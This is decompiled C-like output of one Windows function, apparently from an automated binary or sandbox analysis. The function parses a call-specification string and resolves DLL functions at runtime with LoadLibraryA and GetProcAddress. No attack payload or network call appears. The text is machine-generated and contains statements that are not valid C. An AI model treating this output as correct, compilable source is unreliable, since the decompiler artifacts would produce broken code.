                                                                                                        				signed int _v16;
                                                                                                        				signed int _v20;
                                                                                                        				CHAR* _v24;
                                                                                                        				CHAR* _v28;
                                                                                                        				signed int _v32;
                                                                                                        				signed int _v36;
                                                                                                        				signed int _v40;
                                                                                                        				signed int _v44;
                                                                                                        				CHAR* _v48;
                                                                                                        				signed int _v52;
                                                                                                        				void* _v56;
                                                                                                        				intOrPtr _v60;
                                                                                                        				CHAR* _t207;
                                                                                                        				signed int _t210;
                                                                                                        				void* _t212;
                                                                                                        				void* _t214;
                                                                                                        				CHAR* _t216;
                                                                                                        				void* _t224;
                                                                                                        				struct HINSTANCE__* _t225;
                                                                                                        				struct HINSTANCE__* _t226;
                                                                                                        				struct HINSTANCE__* _t228;
                                                                                                        				signed short _t230;
                                                                                                        				struct HINSTANCE__* _t233;
                                                                                                        				struct HINSTANCE__* _t235;
                                                                                                        				void* _t236;
                                                                                                        				char* _t237;
                                                                                                        				void* _t248;
                                                                                                        				signed char _t249;
                                                                                                        				signed int _t250;
                                                                                                        				void* _t254;
                                                                                                        				struct HINSTANCE__* _t256;
                                                                                                        				void* _t257;
                                                                                                        				signed int _t259;
                                                                                                        				intOrPtr _t260;
                                                                                                        				char* _t263;
                                                                                                        				signed int _t268;
                                                                                                        				signed int _t271;
                                                                                                        				signed int _t273;
                                                                                                        				void* _t276;
                                                                                                        				void* _t280;
                                                                                                        				struct HINSTANCE__* _t282;
                                                                                                        				intOrPtr _t285;
                                                                                                        				void _t286;
                                                                                                        				signed int _t287;
                                                                                                        				signed int _t299;
                                                                                                        				signed int _t300;
                                                                                                        				intOrPtr _t303;
                                                                                                        				void* _t304;
                                                                                                        				signed int _t308;
                                                                                                        				signed int _t311;
                                                                                                        				signed int _t314;
                                                                                                        				signed int _t315;
                                                                                                        				signed int _t316;
                                                                                                        				intOrPtr _t319;
                                                                                                        				intOrPtr* _t320;
                                                                                                        				CHAR* _t321;
                                                                                                        				CHAR* _t323;
                                                                                                        				CHAR* _t324;
                                                                                                        				struct HINSTANCE__* _t325;
                                                                                                        				void* _t327;
                                                                                                        				signed int _t328;
                                                                                                        				void* _t329;
                                                                                                        
                                                                                                        				_t282 = 0;
                                                                                                        				_v32 = 0;
                                                                                                        				_v36 = 0;
                                                                                                        				_v16 = 0;
                                                                                                        				_v8 = 0;
                                                                                                        				_v40 = 0;
                                                                                                        				_t329 = 0;
                                                                                                        				_v52 = 0;
                                                                                                        				_v44 = 0;
                                                                                                        				_t207 = E6FC71215();
                                                                                                        				_v24 = _t207;
                                                                                                        				_v28 = _t207;
                                                                                                        				_v48 = E6FC71215();
                                                                                                        				_t320 = E6FC7123B();
                                                                                                        				_v56 = _t320;
                                                                                                        				_v12 = _t320;
                                                                                                        				while(1) {
                                                                                                        					_t210 = _v32;
                                                                                                        					_v60 = _t210;
                                                                                                        					if(_t210 != _t282 && _t329 == _t282) {
                                                                                                        						break;
                                                                                                        					}
                                                                                                        					_t319 =  *_t320;
                                                                                                        					_t285 = _t319;
                                                                                                        					_t212 = _t285 - _t282;
                                                                                                        					if(_t212 == 0) {
                                                                                                        						_t37 =  &_v32;
                                                                                                        						 *_t37 = _v32 | 0xffffffff;
                                                                                                        						__eflags =  *_t37;
                                                                                                        						L20:
                                                                                                        						_t214 = _v60 - _t282;
                                                                                                        						if(_t214 == 0) {
                                                                                                        							 *_v28 =  *_v28 & 0x00000000;
                                                                                                        							__eflags = _t329 - _t282;
                                                                                                        							if(_t329 == _t282) {
                                                                                                        								_t254 = GlobalAlloc(0x40, 0x14a4); // executed
                                                                                                        								_t329 = _t254;
                                                                                                        								 *(_t329 + 0x810) = _t282;
                                                                                                        								 *(_t329 + 0x814) = _t282;
                                                                                                        							}
                                                                                                        							_t286 = _v36;
                                                                                                        							_t47 = _t329 + 8; // 0x8
                                                                                                        							_t216 = _t47;
                                                                                                        							_t48 = _t329 + 0x408; // 0x408
                                                                                                        							_t321 = _t48;
                                                                                                        							 *_t329 = _t286;
                                                                                                        							 *_t216 =  *_t216 & 0x00000000;
                                                                                                        							 *(_t329 + 0x808) = _t282;
                                                                                                        							 *_t321 =  *_t321 & 0x00000000;
                                                                                                        							_t287 = _t286 - _t282;
                                                                                                        							__eflags = _t287;
                                                                                                        							 *(_t329 + 0x80c) = _t282;
                                                                                                        							 *(_t329 + 4) = _t282;
                                                                                                        							if(_t287 == 0) {
                                                                                                        								__eflags = _v28 - _v24;
                                                                                                        								if(_v28 == _v24) {
                                                                                                        									goto L42;
                                                                                                        								}
                                                                                                        								_t327 = 0;
                                                                                                        								GlobalFree(_t329);
                                                                                                        								_t329 = E6FC712FE(_v24);
                                                                                                        								__eflags = _t329 - _t282;
                                                                                                        								if(_t329 == _t282) {
                                                                                                        									goto L42;
                                                                                                        								} else {
                                                                                                        									goto L35;
                                                                                                        								}
                                                                                                        								while(1) {
                                                                                                        									L35:
                                                                                                        									_t248 =  *(_t329 + 0x14a0);
                                                                                                        									__eflags = _t248 - _t282;
                                                                                                        									if(_t248 == _t282) {
                                                                                                        										break;
                                                                                                        									}
                                                                                                        									_t327 = _t329;
                                                                                                        									_t329 = _t248;
                                                                                                        									__eflags = _t329 - _t282;
                                                                                                        									if(_t329 != _t282) {
                                                                                                        										continue;
                                                                                                        									}
                                                                                                        									break;
                                                                                                        								}
                                                                                                        								__eflags = _t327 - _t282;
                                                                                                        								if(_t327 != _t282) {
                                                                                                        									 *(_t327 + 0x14a0) = _t282;
                                                                                                        								}
                                                                                                        								_t249 =  *(_t329 + 0x810);
                                                                                                        								__eflags = _t249 & 0x00000008;
                                                                                                        								if((_t249 & 0x00000008) == 0) {
                                                                                                        									_t250 = _t249 | 0x00000002;
                                                                                                        									__eflags = _t250;
                                                                                                        									 *(_t329 + 0x810) = _t250;
                                                                                                        								} else {
                                                                                                        									_t329 = E6FC71534(_t329);
                                                                                                        									 *(_t329 + 0x810) =  *(_t329 + 0x810) & 0xfffffff5;
                                                                                                        								}
                                                                                                        								goto L42;
                                                                                                        							} else {
                                                                                                        								_t299 = _t287 - 1;
                                                                                                        								__eflags = _t299;
                                                                                                        								if(_t299 == 0) {
                                                                                                        									L31:
                                                                                                        									lstrcpyA(_t216, _v48);
                                                                                                        									L32:
                                                                                                        									lstrcpyA(_t321, _v24);
                                                                                                        									goto L42;
                                                                                                        								}
                                                                                                        								_t300 = _t299 - 1;
                                                                                                        								__eflags = _t300;
                                                                                                        								if(_t300 == 0) {
                                                                                                        									goto L32;
                                                                                                        								}
                                                                                                        								__eflags = _t300 != 1;
                                                                                                        								if(_t300 != 1) {
                                                                                                        									goto L42;
                                                                                                        								}
                                                                                                        								goto L31;
                                                                                                        							}
                                                                                                        						} else {
                                                                                                        							if(_t214 == 1) {
                                                                                                        								_t256 = _v16;
                                                                                                        								if(_v40 == _t282) {
                                                                                                        									_t256 = _t256 - 1;
                                                                                                        								}
                                                                                                        								 *(_t329 + 0x814) = _t256;
                                                                                                        							}
                                                                                                        							L42:
                                                                                                        							_v12 = _v12 + 1;
                                                                                                        							_v28 = _v24;
                                                                                                        							L59:
                                                                                                        							if(_v32 != 0xffffffff) {
                                                                                                        								_t320 = _v12;
                                                                                                        								continue;
                                                                                                        							}
                                                                                                        							break;
                                                                                                        						}
                                                                                                        					}
                                                                                                        					_t257 = _t212 - 0x23;
                                                                                                        					if(_t257 == 0) {
                                                                                                        						__eflags = _t320 - _v56;
                                                                                                        						if(_t320 <= _v56) {
                                                                                                        							L17:
                                                                                                        							__eflags = _v44 - _t282;
                                                                                                        							if(_v44 != _t282) {
                                                                                                        								L43:
                                                                                                        								_t259 = _v32 - _t282;
                                                                                                        								__eflags = _t259;
                                                                                                        								if(_t259 == 0) {
                                                                                                        									_t260 = _t319;
                                                                                                        									while(1) {
                                                                                                        										__eflags = _t260 - 0x22;
                                                                                                        										if(_t260 != 0x22) {
                                                                                                        											break;
                                                                                                        										}
                                                                                                        										_t320 = _t320 + 1;
                                                                                                        										__eflags = _v44 - _t282;
                                                                                                        										_v12 = _t320;
                                                                                                        										if(_v44 == _t282) {
                                                                                                        											_v44 = 1;
                                                                                                        											L162:
                                                                                                        											_v28 =  &(_v28[1]);
                                                                                                        											 *_v28 =  *_t320;
                                                                                                        											L58:
                                                                                                        											_t328 = _t320 + 1;
                                                                                                        											__eflags = _t328;
                                                                                                        											_v12 = _t328;
                                                                                                        											goto L59;
                                                                                                        										}
                                                                                                        										_t260 =  *_t320;
                                                                                                        										_v44 = _t282;
                                                                                                        									}
                                                                                                        									__eflags = _t260 - 0x2a;
                                                                                                        									if(_t260 == 0x2a) {
                                                                                                        										_v36 = 2;
                                                                                                        										L57:
                                                                                                        										_t320 = _v12;
                                                                                                        										_v28 = _v24;
                                                                                                        										_t282 = 0;
                                                                                                        										__eflags = 0;
                                                                                                        										goto L58;
                                                                                                        									}
                                                                                                        									__eflags = _t260 - 0x2d;
                                                                                                        									if(_t260 == 0x2d) {
                                                                                                        										L151:
                                                                                                        										_t303 =  *_t320;
                                                                                                        										__eflags = _t303 - 0x2d;
                                                                                                        										if(_t303 != 0x2d) {
                                                                                                        											L154:
                                                                                                        											_t263 = _t320 + 1;
                                                                                                        											__eflags =  *_t263 - 0x3a;
                                                                                                        											if( *_t263 != 0x3a) {
                                                                                                        												goto L162;
                                                                                                        											}
                                                                                                        											__eflags = _t303 - 0x2d;
                                                                                                        											if(_t303 == 0x2d) {
                                                                                                        												goto L162;
                                                                                                        											}
                                                                                                        											_v36 = 1;
                                                                                                        											L157:
                                                                                                        											_v12 = _t263;
                                                                                                        											__eflags = _v28 - _v24;
                                                                                                        											if(_v28 <= _v24) {
                                                                                                        												 *_v48 =  *_v48 & 0x00000000;
                                                                                                        											} else {
                                                                                                        												 *_v28 =  *_v28 & 0x00000000;
                                                                                                        												lstrcpyA(_v48, _v24);
                                                                                                        											}
                                                                                                        											goto L57;
                                                                                                        										}
                                                                                                        										_t263 = _t320 + 1;
                                                                                                        										__eflags =  *_t263 - 0x3e;
                                                                                                        										if( *_t263 != 0x3e) {
                                                                                                        											goto L154;
                                                                                                        										}
                                                                                                        										_v36 = 3;
                                                                                                        										goto L157;
                                                                                                        									}
                                                                                                        									__eflags = _t260 - 0x3a;
                                                                                                        									if(_t260 != 0x3a) {
                                                                                                        										goto L162;
                                                                                                        									}
                                                                                                        									goto L151;
                                                                                                        								}
                                                                                                        								_t268 = _t259 - 1;
                                                                                                        								__eflags = _t268;
                                                                                                        								if(_t268 == 0) {
                                                                                                        									L80:
                                                                                                        									_t304 = _t285 + 0xffffffde;
                                                                                                        									__eflags = _t304 - 0x55;
                                                                                                        									if(_t304 > 0x55) {
                                                                                                        										goto L57;
                                                                                                        									}
                                                                                                        									switch( *((intOrPtr*)(( *(_t304 + 0x6fc72259) & 0x000000ff) * 4 +  &M6FC721CD))) {
                                                                                                        										case 0:
                                                                                                        											__eax = _v24;
                                                                                                        											__edi = _v12;
                                                                                                        											while(1) {
                                                                                                        												__edi = __edi + 1;
                                                                                                        												_v12 = __edi;
                                                                                                        												__cl =  *__edi;
                                                                                                        												__eflags = __cl - __dl;
                                                                                                        												if(__cl != __dl) {
                                                                                                        													goto L132;
                                                                                                        												}
                                                                                                        												L131:
                                                                                                        												__eflags =  *(__edi + 1) - __dl;
                                                                                                        												if( *(__edi + 1) != __dl) {
                                                                                                        													L136:
                                                                                                        													 *__eax =  *__eax & 0x00000000;
                                                                                                        													__eax = E6FC71224(_v24);
                                                                                                        													__ebx = __eax;
                                                                                                        													goto L97;
                                                                                                        												}
                                                                                                        												L132:
                                                                                                        												__eflags = __cl;
                                                                                                        												if(__cl == 0) {
                                                                                                        													goto L136;
                                                                                                        												}
                                                                                                        												__eflags = __cl - __dl;
                                                                                                        												if(__cl == __dl) {
                                                                                                        													__edi = __edi + 1;
                                                                                                        													__eflags = __edi;
                                                                                                        												}
                                                                                                        												__cl =  *__edi;
                                                                                                        												 *__eax =  *__edi;
                                                                                                        												__eax = __eax + 1;
                                                                                                        												__edi = __edi + 1;
                                                                                                        												_v12 = __edi;
                                                                                                        												__cl =  *__edi;
                                                                                                        												__eflags = __cl - __dl;
                                                                                                        												if(__cl != __dl) {
                                                                                                        													goto L132;
                                                                                                        												}
                                                                                                        												goto L131;
                                                                                                        											}
                                                                                                        										case 1:
                                                                                                        											_v8 = 1;
                                                                                                        											goto L57;
                                                                                                        										case 2:
                                                                                                        											_v8 = _v8 | 0xffffffff;
                                                                                                        											goto L57;
                                                                                                        										case 3:
                                                                                                        											_v8 = _v8 & 0x00000000;
                                                                                                        											_v20 = _v20 & 0x00000000;
                                                                                                        											_v16 = _v16 + 1;
                                                                                                        											goto L85;
                                                                                                        										case 4:
                                                                                                        											__eflags = _v20;
                                                                                                        											if(_v20 != 0) {
                                                                                                        												goto L57;
                                                                                                        											}
                                                                                                        											_v12 = _v12 - 1;
                                                                                                        											__ebx = E6FC71215();
                                                                                                        											 &_v12 = E6FC71A36( &_v12);
                                                                                                        											__eax = E6FC71429(__edx, __eax, __edx, __ebx);
                                                                                                        											goto L97;
                                                                                                        										case 5:
                                                                                                        											L105:
                                                                                                        											_v20 = _v20 + 1;
                                                                                                        											goto L57;
                                                                                                        										case 6:
                                                                                                        											_push(7);
                                                                                                        											goto L123;
                                                                                                        										case 7:
                                                                                                        											_push(0x19);
                                                                                                        											goto L143;
                                                                                                        										case 8:
                                                                                                        											__eax = 0;
                                                                                                        											__eax = 1;
                                                                                                        											__eflags = 1;
                                                                                                        											goto L107;
                                                                                                        										case 9:
                                                                                                        											_push(0x15);
                                                                                                        											goto L143;
                                                                                                        										case 0xa:
                                                                                                        											_push(0x16);
                                                                                                        											goto L143;
                                                                                                        										case 0xb:
                                                                                                        											_push(0x18);
                                                                                                        											goto L143;
                                                                                                        										case 0xc:
                                                                                                        											__eax = 0;
                                                                                                        											__eax = 1;
                                                                                                        											__eflags = 1;
                                                                                                        											goto L118;
                                                                                                        										case 0xd:
                                                                                                        											__eax = 0;
                                                                                                        											__eax = 1;
                                                                                                        											__eflags = 1;
                                                                                                        											goto L109;
                                                                                                        										case 0xe:
                                                                                                        											__eax = 0;
                                                                                                        											__eax = 1;
                                                                                                        											__eflags = 1;
                                                                                                        											goto L111;
                                                                                                        										case 0xf:
                                                                                                        											__eax = 0;
                                                                                                        											__eax = 1;
                                                                                                        											__eflags = 1;
                                                                                                        											goto L122;
                                                                                                        										case 0x10:
                                                                                                        											__eax = 0;
                                                                                                        											__eax = 1;
                                                                                                        											__eflags = 1;
                                                                                                        											goto L113;
                                                                                                        										case 0x11:
                                                                                                        											_push(3);
                                                                                                        											goto L123;
                                                                                                        										case 0x12:
                                                                                                        											_push(0x17);
                                                                                                        											L143:
                                                                                                        											_pop(__ebx);
                                                                                                        											goto L98;
                                                                                                        										case 0x13:
                                                                                                        											__eax =  &_v12;
                                                                                                        											__eax = E6FC71A36( &_v12);
                                                                                                        											__ebx = __eax;
                                                                                                        											__ebx = __eax + 1;
                                                                                                        											__eflags = __ebx - 0xb;
                                                                                                        											if(__ebx < 0xb) {
                                                                                                        												__ebx = __ebx + 0xa;
                                                                                                        											}
                                                                                                        											goto L97;
                                                                                                        										case 0x14:
                                                                                                        											__ebx = 0xffffffff;
                                                                                                        											goto L98;
                                                                                                        										case 0x15:
                                                                                                        											__eax = 0;
                                                                                                        											__eflags = 0;
                                                                                                        											goto L116;
                                                                                                        										case 0x16:
                                                                                                        											__ecx = 0;
                                                                                                        											__eflags = 0;
                                                                                                        											goto L91;
                                                                                                        										case 0x17:
                                                                                                        											__eax = 0;
                                                                                                        											__eax = 1;
                                                                                                        											__eflags = 1;
                                                                                                        											goto L120;
                                                                                                        										case 0x18:
                                                                                                        											_t270 =  *(_t329 + 0x814);
                                                                                                        											__eflags = _t270 - _v16;
                                                                                                        											if(_t270 > _v16) {
                                                                                                        												_v16 = _t270;
                                                                                                        											}
                                                                                                        											_v8 = _v8 & 0x00000000;
                                                                                                        											_v20 = _v20 & 0x00000000;
                                                                                                        											_v36 - 3 = _t270 - (_v36 == 3);
                                                                                                        											if(_t270 != _v36 == 3) {
                                                                                                        												L85:
                                                                                                        												_v40 = 1;
                                                                                                        											}
                                                                                                        											goto L57;
                                                                                                        										case 0x19:
                                                                                                        											L107:
                                                                                                        											__ecx = 0;
                                                                                                        											_v8 = 2;
                                                                                                        											__ecx = 1;
                                                                                                        											goto L91;
                                                                                                        										case 0x1a:
                                                                                                        											L118:
                                                                                                        											_push(5);
                                                                                                        											goto L123;
                                                                                                        										case 0x1b:
                                                                                                        											L109:
                                                                                                        											__ecx = 0;
                                                                                                        											_v8 = 3;
                                                                                                        											__ecx = 1;
                                                                                                        											goto L91;
                                                                                                        										case 0x1c:
                                                                                                        											L111:
                                                                                                        											__ecx = 0;
                                                                                                        											__ecx = 1;
                                                                                                        											goto L91;
                                                                                                        										case 0x1d:
                                                                                                        											L122:
                                                                                                        											_push(6);
                                                                                                        											goto L123;
                                                                                                        										case 0x1e:
                                                                                                        											L113:
                                                                                                        											_push(2);
                                                                                                        											goto L123;
                                                                                                        										case 0x1f:
                                                                                                        											__eax =  &_v12;
                                                                                                        											__eax = E6FC71A36( &_v12);
                                                                                                        											__ebx = __eax;
                                                                                                        											__ebx = __eax + 1;
                                                                                                        											goto L97;
                                                                                                        										case 0x20:
                                                                                                        											L116:
                                                                                                        											_v52 = _v52 + 1;
                                                                                                        											_push(3);
                                                                                                        											_pop(__ecx);
                                                                                                        											goto L91;
                                                                                                        										case 0x21:
                                                                                                        											L120:
                                                                                                        											_push(4);
                                                                                                        											L123:
                                                                                                        											_pop(__ecx);
                                                                                                        											L91:
                                                                                                        											__edi = _v16;
                                                                                                        											__edx =  *(0x6fc7305c + __ecx * 4);
                                                                                                        											__eax =  ~__eax;
                                                                                                        											asm("sbb eax, eax");
                                                                                                        											_v40 = 1;
                                                                                                        											__edi = _v16 << 5;
                                                                                                        											__eax = __eax & 0x00008000;
                                                                                                        											__edi = (_v16 << 5) + __esi;
                                                                                                        											__eax = __eax | __ecx;
                                                                                                        											__eflags = _v8;
                                                                                                        											 *(__edi + 0x818) = __eax;
                                                                                                        											if(_v8 < 0) {
                                                                                                        												L93:
                                                                                                        												__edx = 0;
                                                                                                        												__edx = 1;
                                                                                                        												__eflags = 1;
                                                                                                        												L94:
                                                                                                        												__eflags = _v8 - 1;
                                                                                                        												 *(__edi + 0x828) = __edx;
                                                                                                        												if(_v8 == 1) {
                                                                                                        													__eax =  &_v12;
                                                                                                        													__eax = E6FC71A36( &_v12);
                                                                                                        													__eax = __eax + 1;
                                                                                                        													__eflags = __eax;
                                                                                                        													_v8 = __eax;
                                                                                                        												}
                                                                                                        												__eax = _v8;
                                                                                                        												 *((intOrPtr*)(__edi + 0x81c)) = _v8;
                                                                                                        												_t136 = _v16 + 0x41; // 0x41
                                                                                                        												_t136 = _t136 << 5;
                                                                                                        												__eax = 0;
                                                                                                        												__eflags = 0;
                                                                                                        												 *((intOrPtr*)((_t136 << 5) + __esi)) = 0;
                                                                                                        												 *((intOrPtr*)(__edi + 0x830)) = 0;
                                                                                                        												 *((intOrPtr*)(__edi + 0x82c)) = 0;
                                                                                                        												L97:
                                                                                                        												__eflags = __ebx;
                                                                                                        												if(__ebx == 0) {
                                                                                                        													goto L57;
                                                                                                        												}
                                                                                                        												L98:
                                                                                                        												__eflags = _v20;
                                                                                                        												_v40 = 1;
                                                                                                        												if(_v20 != 0) {
                                                                                                        													L103:
                                                                                                        													__eflags = _v20 - 1;
                                                                                                        													if(_v20 == 1) {
                                                                                                        														__eax = _v16;
                                                                                                        														__eax = _v16 << 5;
                                                                                                        														__eflags = __eax;
                                                                                                        														 *(__eax + __esi + 0x82c) = __ebx;
                                                                                                        													}
                                                                                                        													goto L105;
                                                                                                        												}
                                                                                                        												_v16 = _v16 << 5;
                                                                                                        												_t144 = __esi + 0x830; // 0x830
                                                                                                        												__edi = (_v16 << 5) + _t144;
                                                                                                        												__eax =  *__edi;
                                                                                                        												__eflags = __eax - 0xffffffff;
                                                                                                        												if(__eax <= 0xffffffff) {
                                                                                                        													L101:
                                                                                                        													__eax = GlobalFree(__eax);
                                                                                                        													L102:
                                                                                                        													 *__edi = __ebx;
                                                                                                        													goto L103;
                                                                                                        												}
                                                                                                        												__eflags = __eax - 0x19;
                                                                                                        												if(__eax <= 0x19) {
                                                                                                        													goto L102;
                                                                                                        												}
                                                                                                        												goto L101;
                                                                                                        											}
                                                                                                        											__eflags = __edx;
                                                                                                        											if(__edx > 0) {
                                                                                                        												goto L94;
                                                                                                        											}
                                                                                                        											goto L93;
                                                                                                        										case 0x22:
                                                                                                        											goto L57;
                                                                                                        									}
                                                                                                        								}
                                                                                                        								_t271 = _t268 - 1;
                                                                                                        								__eflags = _t271;
                                                                                                        								if(_t271 == 0) {
                                                                                                        									_v16 = _t282;
                                                                                                        									goto L80;
                                                                                                        								}
                                                                                                        								__eflags = _t271 != 1;
                                                                                                        								if(_t271 != 1) {
                                                                                                        									goto L162;
                                                                                                        								}
                                                                                                        								__eflags = _t285 - 0x6e;
                                                                                                        								if(__eflags > 0) {
                                                                                                        									_t308 = _t285 - 0x72;
                                                                                                        									__eflags = _t308;
                                                                                                        									if(_t308 == 0) {
                                                                                                        										_push(4);
                                                                                                        										L74:
                                                                                                        										_pop(_t273);
                                                                                                        										L75:
                                                                                                        										__eflags = _v8 - 1;
                                                                                                        										if(_v8 != 1) {
                                                                                                        											_t96 = _t329 + 0x810;
                                                                                                        											 *_t96 =  *(_t329 + 0x810) &  !_t273;
                                                                                                        											__eflags =  *_t96;
                                                                                                        										} else {
                                                                                                        											 *(_t329 + 0x810) =  *(_t329 + 0x810) | _t273;
                                                                                                        										}
                                                                                                        										_v8 = 1;
                                                                                                        										goto L57;
                                                                                                        									}
                                                                                                        									_t311 = _t308 - 1;
                                                                                                        									__eflags = _t311;
                                                                                                        									if(_t311 == 0) {
                                                                                                        										_push(0x10);
                                                                                                        										goto L74;
                                                                                                        									}
                                                                                                        									__eflags = _t311 != 0;
                                                                                                        									if(_t311 != 0) {
                                                                                                        										goto L57;
                                                                                                        									}
                                                                                                        									_push(0x40);
                                                                                                        									goto L74;
                                                                                                        								}
                                                                                                        								if(__eflags == 0) {
                                                                                                        									_push(8);
                                                                                                        									goto L74;
                                                                                                        								}
                                                                                                        								_t314 = _t285 - 0x21;
                                                                                                        								__eflags = _t314;
                                                                                                        								if(_t314 == 0) {
                                                                                                        									_v8 =  ~_v8;
                                                                                                        									goto L57;
                                                                                                        								}
                                                                                                        								_t315 = _t314 - 0x11;
                                                                                                        								__eflags = _t315;
                                                                                                        								if(_t315 == 0) {
                                                                                                        									_t273 = 0x100;
                                                                                                        									goto L75;
                                                                                                        								}
                                                                                                        								_t316 = _t315 - 0x31;
                                                                                                        								__eflags = _t316;
                                                                                                        								if(_t316 == 0) {
                                                                                                        									_t273 = 1;
                                                                                                        									goto L75;
                                                                                                        								}
                                                                                                        								__eflags = _t316 != 0;
                                                                                                        								if(_t316 != 0) {
                                                                                                        									goto L57;
                                                                                                        								}
                                                                                                        								_push(0x20);
                                                                                                        								goto L74;
                                                                                                        							} else {
                                                                                                        								_v32 = _t282;
                                                                                                        								_v36 = _t282;
                                                                                                        								goto L20;
                                                                                                        							}
                                                                                                        						}
                                                                                                        						__eflags =  *((char*)(_t320 - 1)) - 0x3a;
                                                                                                        						if( *((char*)(_t320 - 1)) != 0x3a) {
                                                                                                        							goto L17;
                                                                                                        						}
                                                                                                        						__eflags = _v32 - _t282;
                                                                                                        						if(_v32 == _t282) {
                                                                                                        							goto L43;
                                                                                                        						}
                                                                                                        						goto L17;
                                                                                                        					}
                                                                                                        					_t276 = _t257 - 5;
                                                                                                        					if(_t276 == 0) {
                                                                                                        						__eflags = _v44 - _t282;
                                                                                                        						if(_v44 != _t282) {
                                                                                                        							goto L43;
                                                                                                        						} else {
                                                                                                        							__eflags = _v36 - 3;
                                                                                                        							_v32 = 1;
                                                                                                        							_v8 = _t282;
                                                                                                        							_v20 = _t282;
                                                                                                        							_v16 = (0 | _v36 == 0x00000003) + 1;
                                                                                                        							_v40 = _t282;
                                                                                                        							goto L20;
                                                                                                        						}
                                                                                                        					}
                                                                                                        					_t280 = _t276 - 1;
                                                                                                        					if(_t280 == 0) {
                                                                                                        						__eflags = _v44 - _t282;
                                                                                                        						if(_v44 != _t282) {
                                                                                                        							goto L43;
                                                                                                        						} else {
                                                                                                        							_v32 = 2;
                                                                                                        							_v8 = _t282;
                                                                                                        							_v20 = _t282;
                                                                                                        							goto L20;
                                                                                                        						}
                                                                                                        					}
                                                                                                        					if(_t280 != 0x16) {
                                                                                                        						goto L43;
                                                                                                        					} else {
                                                                                                        						_v32 = 3;
                                                                                                        						_v8 = 1;
                                                                                                        						goto L20;
                                                                                                        					}
                                                                                                        				}
                                                                                                        				GlobalFree(_v56);
                                                                                                        				GlobalFree(_v24);
                                                                                                        				GlobalFree(_v48);
                                                                                                        				if(_t329 == _t282 ||  *(_t329 + 0x80c) != _t282) {
                                                                                                        					L182:
                                                                                                        					return _t329;
                                                                                                        				} else {
                                                                                                        					_t224 =  *_t329 - 1;
                                                                                                        					if(_t224 == 0) {
                                                                                                        						_t187 = _t329 + 8; // 0x8
                                                                                                        						_t323 = _t187;
                                                                                                        						__eflags =  *_t323;
                                                                                                        						if( *_t323 != 0) {
                                                                                                        							_t225 = GetModuleHandleA(_t323);
                                                                                                        							__eflags = _t225 - _t282;
                                                                                                        							 *(_t329 + 0x808) = _t225;
                                                                                                        							if(_t225 != _t282) {
                                                                                                        								L171:
                                                                                                        								_t192 = _t329 + 0x408; // 0x408
                                                                                                        								_t324 = _t192;
                                                                                                        								_t226 = E6FC715C2( *(_t329 + 0x808), _t324);
                                                                                                        								__eflags = _t226 - _t282;
                                                                                                        								 *(_t329 + 0x80c) = _t226;
                                                                                                        								if(_t226 == _t282) {
                                                                                                        									__eflags =  *_t324 - 0x23;
                                                                                                        									if( *_t324 == 0x23) {
                                                                                                        										_t195 = _t329 + 0x409; // 0x409
                                                                                                        										_t230 = E6FC712FE(_t195);
                                                                                                        										__eflags = _t230 - _t282;
                                                                                                        										if(_t230 != _t282) {
                                                                                                        											__eflags = _t230 & 0xffff0000;
                                                                                                        											if((_t230 & 0xffff0000) == 0) {
                                                                                                        												 *(_t329 + 0x80c) = GetProcAddress( *(_t329 + 0x808), _t230 & 0x0000ffff);
                                                                                                        											}
                                                                                                        										}
                                                                                                        									}
                                                                                                        								}
                                                                                                        								__eflags = _v52 - _t282;
                                                                                                        								if(_v52 != _t282) {
                                                                                                        									L178:
                                                                                                        									_t324[lstrlenA(_t324)] = 0x41;
                                                                                                        									_t228 = E6FC715C2( *(_t329 + 0x808), _t324);
                                                                                                        									__eflags = _t228 - _t282;
                                                                                                        									if(_t228 != _t282) {
                                                                                                        										L166:
                                                                                                        										 *(_t329 + 0x80c) = _t228;
                                                                                                        										goto L182;
                                                                                                        									}
                                                                                                        									__eflags =  *(_t329 + 0x80c) - _t282;
                                                                                                        									L180:
                                                                                                        									if(__eflags != 0) {
                                                                                                        										goto L182;
                                                                                                        									}
                                                                                                        									L181:
                                                                                                        									_t205 = _t329 + 4;
                                                                                                        									 *_t205 =  *(_t329 + 4) | 0xffffffff;
                                                                                                        									__eflags =  *_t205;
                                                                                                        									goto L182;
                                                                                                        								} else {
                                                                                                        									__eflags =  *(_t329 + 0x80c) - _t282;
                                                                                                        									if( *(_t329 + 0x80c) != _t282) {
                                                                                                        										goto L182;
                                                                                                        									}
                                                                                                        									goto L178;
                                                                                                        								}
                                                                                                        							}
                                                                                                        							_t233 = LoadLibraryA(_t323);
                                                                                                        							__eflags = _t233 - _t282;
                                                                                                        							 *(_t329 + 0x808) = _t233;
                                                                                                        							if(_t233 == _t282) {
                                                                                                        								goto L181;
                                                                                                        							}
                                                                                                        							goto L171;
                                                                                                        						}
                                                                                                        						_t188 = _t329 + 0x408; // 0x408
                                                                                                        						_t235 = E6FC712FE(_t188);
                                                                                                        						 *(_t329 + 0x80c) = _t235;
                                                                                                        						__eflags = _t235 - _t282;
                                                                                                        						goto L180;
                                                                                                        					}
                                                                                                        					_t236 = _t224 - 1;
                                                                                                        					if(_t236 == 0) {
                                                                                                        						_t185 = _t329 + 0x408; // 0x408
                                                                                                        						_t237 = _t185;
                                                                                                        						__eflags =  *_t237;
                                                                                                        						if( *_t237 == 0) {
                                                                                                        							goto L182;
                                                                                                        						}
                                                                                                        						_t228 = E6FC712FE(_t237);
                                                                                                        						L165:
                                                                                                        						goto L166;
                                                                                                        					}
                                                                                                        					if(_t236 != 1) {
                                                                                                        						goto L182;
                                                                                                        					}
                                                                                                        					_t81 = _t329 + 8; // 0x8
                                                                                                        					_t283 = _t81;
                                                                                                        					_t325 = E6FC712FE(_t81);
                                                                                                        					 *(_t329 + 0x808) = _t325;
                                                                                                        					if(_t325 == 0) {
                                                                                                        						goto L181;
                                                                                                        					}
                                                                                                        					 *(_t329 + 0x84c) =  *(_t329 + 0x84c) & 0x00000000;
                                                                                                        					 *((intOrPtr*)(_t329 + 0x850)) = E6FC71224(_t283);
                                                                                                        					 *(_t329 + 0x83c) =  *(_t329 + 0x83c) & 0x00000000;
                                                                                                        					 *((intOrPtr*)(_t329 + 0x848)) = 1;
                                                                                                        					 *((intOrPtr*)(_t329 + 0x838)) = 1;
                                                                                                        					_t90 = _t329 + 0x408; // 0x408
                                                                                                        					_t228 =  *(_t325->i + E6FC712FE(_t90) * 4);
                                                                                                        					goto L165;
                                                                                                        				}
                                                                                                        			}



































































                                                                                                        0x6fc71aa0
                                                                                                        0x6fc71aa3
                                                                                                        0x6fc71aa6
                                                                                                        0x6fc71aa9
                                                                                                        0x6fc71aac
                                                                                                        0x6fc71aaf
